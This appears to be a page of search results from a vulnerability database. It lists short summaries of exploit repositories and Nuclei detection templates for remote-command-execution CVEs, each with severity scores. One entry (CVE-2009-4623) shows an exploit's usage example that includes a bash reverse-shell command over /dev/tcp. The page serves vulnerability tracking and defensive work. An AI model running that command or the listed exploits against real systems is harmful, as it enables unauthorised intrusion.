Lucene search
+L

47437 matches found

Kitploit
Kitploit
added 2026/08/25 8:41 a.m.3 views

CVE-2024-24590

ClearML Exploit Dieses Repository enthält einen Proof-of-Concept-Exploit für eine Deserialisierungsschwachstelle in ClearML, die eine Remote-Befehlsausführung ermöglicht. Dieser Exploit demonstriert, wie ein bösartiges Pickle-Artefakt in ClearML hochgeladen werden kann, um eine Reverse Shell zu...

8.8CVSS8.1AI score0.02452EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/08/25 8:23 a.m.1 views

Langflow-CVE-2025-3248-Multi-target

⚠️ Scanner de Exploit RCE Langflow CVE-2025-3248 Este scanner baseado em Python automatiza a detecção de vulnerabilidades de Execução Remota de Código RCE não autenticada em instâncias Langflow via CVE-2025-3248. Ele usa um payload de prova de conceito que abusa do endpoint /api/v1/validate/code...

9.8CVSS9AI score0.99996EPSS
SaveExploits36
Kitploit
Kitploit
added 2026/08/25 8:11 a.m.4 views

CVE-2009-4623

Advanced Comment System 1.0 - Execução Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Exemplos root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

7.5CVSS7.5AI score0.09847EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/25 7:39 a.m.4 views

CVE-2024-42448-RCE

CVE-2024-42448-RCE Veeam Service Provider Console VSPC esecuzione di codice remoto. Link di download qui Dettagli: è una vulnerabilità critica identificata nel Veeam Service Provider Console VSPC con un punteggio CVSS di 9.9. Questa vulnerabilità consente l'esecuzione di codice remoto RCE...

9.9CVSS9.1AI score0.20057EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/25 7:19 a.m.4 views

CVE-2021-43326_Exploit

CVE-2021-43326 Exploit Exploit zur Privilegieneskalation des Automox Windows-Agents Lacework Labs Blog Post https://www.lacework.com/blog/cve-2021-43326/ Automox Community Post...

7.8CVSS7.5AI score0.01234EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/08/25 7:10 a.m.3 views

CVE-2026-57517-CWP

CVE-2026-57517 CWP Exploit Questo repository contiene uno strumento proof-of-concept basato su Go per testare uno scenario di vulnerabilità noto di Control Web Panel CWP correlato a CVE-2026-57517. L'implementazione prende di mira un percorso di SQL injection cieca e include la distribuzione...

9.8CVSS5.7AI score0.00963EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/25 6:57 a.m.3 views

CVE-2025-32433_Erlang-OTP_PoC

CVE-2025-32433Erlang-OTP Questo script è uno strumento di sicurezza personalizzato progettato per testare una vulnerabilità critica pre-autenticazione in sistemi che eseguono server SSH basati su Erlang Questo script è uno strumento di sicurezza personalizzato progettato per testare una...

10CVSS8.1AI score0.98594EPSS
SaveExploits38
Kitploit
Kitploit
added 2026/08/25 6:37 a.m.3 views

CVE-2022-25060

CVE-2022-25060 Questo script sfrutta una vulnerabilità di esecuzione remota di comandi nel componente oalstartPing del router TPLink WR840N...

10CVSS7.9AI score0.39888EPSS
SaveExploits1
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.109 views

vBulletin 5.5.4 - 5.6.2- Remote Command Execution

vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widgettabbedcontainertabpanel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759. id: CVE-2020-17496 info: name: vBulletin 5.5.4 - 5.6.2- Remote Comman...

9.8CVSS9.4AI score0.8774EPSS
SaveExploits1References5
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.74 views

vBulletin 5.0.0-5.5.4 - Remote Command Execution

vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widgetphp routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system...

9.8CVSS9.4AI score0.99728EPSS
SaveExploits28References5
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.53 views

LinuxKI Toolset <= 6.01 - Remote Command Execution

LinuxKI v6.0-1 and earlier are vulnerable to remote code execution. id: CVE-2020-7209 info: name: LinuxKI Toolset = 6.01 - Remote Command Execution author: dwisiswant0 severity: critical description: LinuxKI v6.0-1 and earlier are vulnerable to remote code execution. impact: | Successful...

9.8CVSS9.1AI score0.98751EPSS
SaveExploits10References6
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.179 views

ManageEngine - Remote Command Execution

Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec aka XML Security for Java 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security...

9.8CVSS9.7AI score0.99753EPSS
SaveExploits15References5
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.132 views

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

8.8CVSS8.6AI score0.93076EPSS
SaveExploits12References5
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.220 views

D-Link - Remote Command Execution

A Remote Command Execution RCE vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file id: CVE-2021-45382 info: name: D-Link - Remote Command Execution author: king-alexander severity: critic...

10CVSS9.2AI score0.97836EPSS
SaveExploits1References5
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.90 views

TerraMaster TOS - Unauthenticated Remote Command Execution

TerraMaster TOS = 4.2.06 is susceptible to a remote code execution vulnerability which could allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php via the Event parameter. id: CVE-2020-28188 info: name: TerraMaster TOS - Unauthenticated Remote Command Execution...

10CVSS9.8AI score0.96598EPSS
SaveExploits3References5
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.28 views

WS_FTP Server - Insecure Deserialization

In WSFTP Server versions prior to 8.7.4 and 8.8.2, a pre-authenticated attacker could leverage a .NET deserialization vulnerability in the Ad Hoc Transfer module to execute remote commands on the underlying WSFTP Server operating system. id: CVE-2023-40044 info: name: WSFTP Server - Insecure...

10CVSS9.2AI score0.9015EPSS
SaveExploits5References5
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.193 views

NUUO NVR camera `debugging_center_utils_.php` - Command Execution

debuggingcenterutils.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter. id: CVE-2016-5674 info: name: NUUO NVR camera debuggingcenterutils.p...

10CVSS9.4AI score0.9461EPSS
SaveExploits11References2
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.49 views

FortiWeb - Authentication Bypass

A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTT...

9.8CVSS9AI score0.91838EPSS
SaveExploits18References4
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.221 views

Webmin <= 1.920 - Unauthenticated Remote Command Execution

Webmin =1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in passwordchange.cgi. id: CVE-2019-15107 info: name: Webmin = 1.920 - Unauthenticated Remote Command Execution author: bp0lr severity: critical description: Webmin =1.920. is vulnerable to an...

10CVSS9.2AI score0.99766EPSS
SaveExploits39References5
Nuclei
Nuclei
added 2026/08/25 6:03 a.m.83 views

F5 iControl REST - Remote Command Execution

F5 iControl REST interface is susceptible to remote command execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. This affects BIG-IP 16.0.x before 16.0.1.1, 15.1.x before...

10CVSS9.2AI score0.99898EPSS
SaveExploits20References5
Rows per page
Query Builder